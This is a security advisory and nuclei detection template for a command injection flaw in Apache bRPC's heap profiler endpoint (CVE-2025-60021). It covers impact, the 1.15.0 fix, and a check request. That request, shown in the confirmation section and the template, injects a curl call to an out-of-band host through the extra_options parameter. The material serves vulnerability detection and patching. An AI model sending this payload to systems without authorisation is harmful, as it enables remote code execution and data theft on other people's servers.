Apache bRPC Heap Profiler - Remote Command Injection

criticalseverity

9.8CVSS score

55.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Apache bRPC versions before 1.15.0 contain a remote command injection vulnerability in the heap profiler built-in service (/pprof/heap). The extra_options query parameter is concatenated directly into a shell command string passed to popen() without any validation or sanitization, allowing unauthenticated attackers to execute arbitrary OS commands on the server. The display parameter must be set to text, svg, or flamegraph to reach the vulnerable code path, and jemalloc profiling must be active (MALLOC_CONF=prof:true).

Impact

Successful exploitation allows unauthenticated remote code execution with the privileges of the bRPC server process, potentially leading to complete system compromise, data exfiltration, and lateral movement.

Fix

Upgrade Apache bRPC to version 1.15.0 or later, which introduces a whitelist of valid profiler options (inuse_space, inuse_objects, alloc_space, alloc_objects, show_bytes, drop_negative, total_delay, contentions, mean_delay). Alternatively, restrict network access to built-in service endpoints.

How to confirm it

Send: GET /pprof/heap?display=text&extra_options=$(curl${IFS}{{interactsh-url}}/{{randstr}})
Positive when: contains "JEPROF_FILE" AND contains in interactsh_protocol "http" or "dns"

Run it with nuclei: nuclei -id CVE-2025-60021 -u <target>

The full check

id: CVE-2025-60021

info:
  name: Apache bRPC Heap Profiler - Remote Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Apache bRPC versions before 1.15.0 contain a remote command injection vulnerability in the heap profiler built-in service (/pprof/heap). The extra_options query parameter is concatenated directly into a shell command string passed to popen() without any validation or sanitization, allowing unauthenticated attackers to execute arbitrary OS commands on the server. The display parameter must be set to text, svg, or flamegraph to reach the vulnerable code path, and jemalloc profiling must be active (MALLOC_CONF=prof:true).
  impact: |
    Successful exploitation allows unauthenticated remote code execution with the privileges of the bRPC server process, potentially leading to complete system compromise, data exfiltration, and lateral movement.
  remediation: |
    Upgrade Apache bRPC to version 1.15.0 or later, which introduces a whitelist of valid profiler options (inuse_space, inuse_objects, alloc_space, alloc_objects, show_bytes, drop_negative, total_delay, contentions, mean_delay). Alternatively, restrict network access to built-in service endpoints.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-60021
    - https://github.com/apache/brpc/pull/3101
    - https://lists.apache.org/thread/xy51d2fx6drzhfp92xptsx5845q7b37m
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-60021
    epss-score: 0.55167
    epss-percentile: 0.99044
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,brpc,apache,rce,oob,oast,oss,vkev

http:
  - raw:
      - |
        GET /pprof/heap?display=text&extra_options=$(curl${IFS}{{interactsh-url}}/{{randstr}}) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "JEPROF_FILE"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from